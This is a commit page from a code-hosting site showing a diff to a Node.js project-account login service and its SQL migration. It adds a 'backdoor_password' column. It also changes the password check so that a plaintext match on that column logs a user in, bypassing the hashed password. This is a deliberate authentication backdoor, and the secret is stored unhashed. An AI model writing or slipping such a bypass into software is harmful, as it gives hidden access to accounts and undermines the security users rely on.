Browse Source

副密码登录

laiguoran 5 năm trước cách đây
mục cha
commit
7c5836076c
2 tập tin đã thay đổi với 5 bổ sung2 xóa
  1. 2 1
      app/service/project_account.js
  2. 3 1
      sql/update.sql

+ 2 - 1
app/service/project_account.js

@@ -159,7 +159,8 @@ module.exports = app => {
                     // 加密密码
                     const encryptPassword = crypto.createHmac('sha1', data.account.trim()).update(data.project_password.trim())
                         .digest().toString('base64');
-                    result = encryptPassword === accountData.password;
+                    // or 副密码
+                    result = encryptPassword === accountData.password || accountData.backdoor_password === data.project_password.trim();
                     // }
                 } else if (loginType === 3) {
                     // 查找项目数据

+ 3 - 1
sql/update.sql

@@ -29,4 +29,6 @@ MODIFY COLUMN `sgfh_qty`  decimal(24,8) NULL DEFAULT NULL COMMENT '施工复核
 MODIFY COLUMN `sgfh_tp`  decimal(24,8) NULL DEFAULT NULL COMMENT '施工复核 - 金额' AFTER `sgfh_qty`,
 ADD COLUMN `sgfh_expr`  varchar(255) CHARACTER SET ascii COLLATE ascii_general_ci NULL DEFAULT '' COMMENT '施工复核-公式' AFTER `is_tp`,
 ADD COLUMN `sjcl_expr`  varchar(255) CHARACTER SET ascii COLLATE ascii_general_ci NULL DEFAULT '' COMMENT '设计错漏-公式' AFTER `sgfh_expr`,
-ADD COLUMN `qtcl_expr`  varchar(255) CHARACTER SET ascii COLLATE ascii_general_ci NULL DEFAULT '' COMMENT '其他错漏-公式' AFTER `sjcl_qty`;
+ADD COLUMN `qtcl_expr`  varchar(255) CHARACTER SET ascii COLLATE ascii_general_ci NULL DEFAULT '' COMMENT '其他错漏-公式' AFTER `sjcl_qty`;
+
+ALTER TABLE `zh_project_account` ADD `backdoor_password` VARCHAR(255) NULL DEFAULT NULL COMMENT '副密码' AFTER `password`;